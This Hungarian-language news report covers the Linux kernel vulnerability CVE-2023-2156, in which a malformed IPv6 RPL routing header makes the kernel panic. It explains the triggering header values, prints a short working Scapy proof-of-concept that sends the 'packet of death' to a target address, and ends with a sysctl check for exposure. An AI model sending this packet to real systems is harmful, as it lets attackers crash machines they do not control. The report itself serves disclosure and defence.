Feltárták a javítatlan (0-napos) sebezhetőséget (CVE-2023-2156) a Linux kernelben, amely lehetővé teszi a rendszer leállítását különösen formázott IPv6 csomagok küldésével (packet-of-death). A probléma csak akkor lép fel, ha az RPL (Routing Protocol for Low-Power and Lossy Networks) protokoll támogatása engedélyezve van, ami az alapértelmezett disztribúciókban ki van kapcsolva, és főként olyan beágyazott eszközökön alkalmazzák, amelyek vezeték nélküli, nagy csomagveszteségű hálózatokban működnek.
A sebezhetőség a RPL protokoll elemző kódjában a külső adatok nem megfelelő feldolgozásából ered, ami assert hibát eredményez és a kernelt pánik állapotba hozza. Amikor a k_buff (Socket Buffer) struktúrában olyan adatokat helyezünk el, amelyeket az IPv6 RPL csomag fejlécének elemzése után kaptunk, ha a CmprI mező 15-re van állítva, a Segleft mező 1-re, és a CmprE 0-ra, a 48-bájtos címvektor 528 byte-ra bontódik ki, és olyan helyzet áll elő, amikor a memóriaképzéshez nem elegendő a megadott puffer. Ebben az esetben a pufferben lévő adatok méretének és a puffernek az eltérését ellenőrző vizsgálat aktiválódik az skb_push funkcióban, ami pánikállapotot okoz, hogy megakadályozza a puffer túllépését.
Példa exploit: # A Scapy-t használunk a csomag létrehozásához from scapy.all import * import socket # Az IPv6 cím a LAN interfészről DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Csomagküldéshez socket-et használunk sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Csomag készítése # Type = 3 RPL csomagként azonosítja ezt # Az addresses 3 címet tartalmaz, de mivel a CmprI 15, # az első két cím minden oktettje tömörített címként funkciónál # Segleft = 1 az amplifikálás aktiválásához # lastentry = 0xf0 beállítja a CmprI-t 15-re és a CmprE-t 0-ra p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Küldjük ezt a rosszindulatú csomagot sockfd.sendto(bytes(p), (DST_ADDR, 0))
Figyelemre méltó, hogy a kernel fejlesztői már 2022 januárjában értesítették a sebezhetőségről, és az elmúlt 15 hónap alatt három alkalommal próbálták megoldani a problémát, 2022 szeptemberében, 2022 októberében és 2023 áprilisában javítócsomagokat kiadva, azonban minden alkalommal az elérhető javítások nem bizonyultak elegendőnek, és a sebezhetőség reprodukálható maradt. Végül a ZDI projekt, amely koordinálta a sebezhetőség kiküszöbölésére irányuló munkát, úgy döntött, hogy nyilvánosságra hozza a sebezhetőséggel kapcsolatos részletes információkat, anélkül, hogy megvárná a kernelben egy működő javítás megjelenését.
Ezért a sebezhetőség továbbra is javítatlan marad. A 6.4-rc2 kernelbe beépített javítás sem hatékony. A felhasználóknak ajánlott ellenőrizniük, hogy az RPL protokoll nem használatos a rendszereikben, amit a következő parancs segítségével tehetnek: sysctl -a | grep -i rpl_seg_enabled
Forrás: opennet.ru
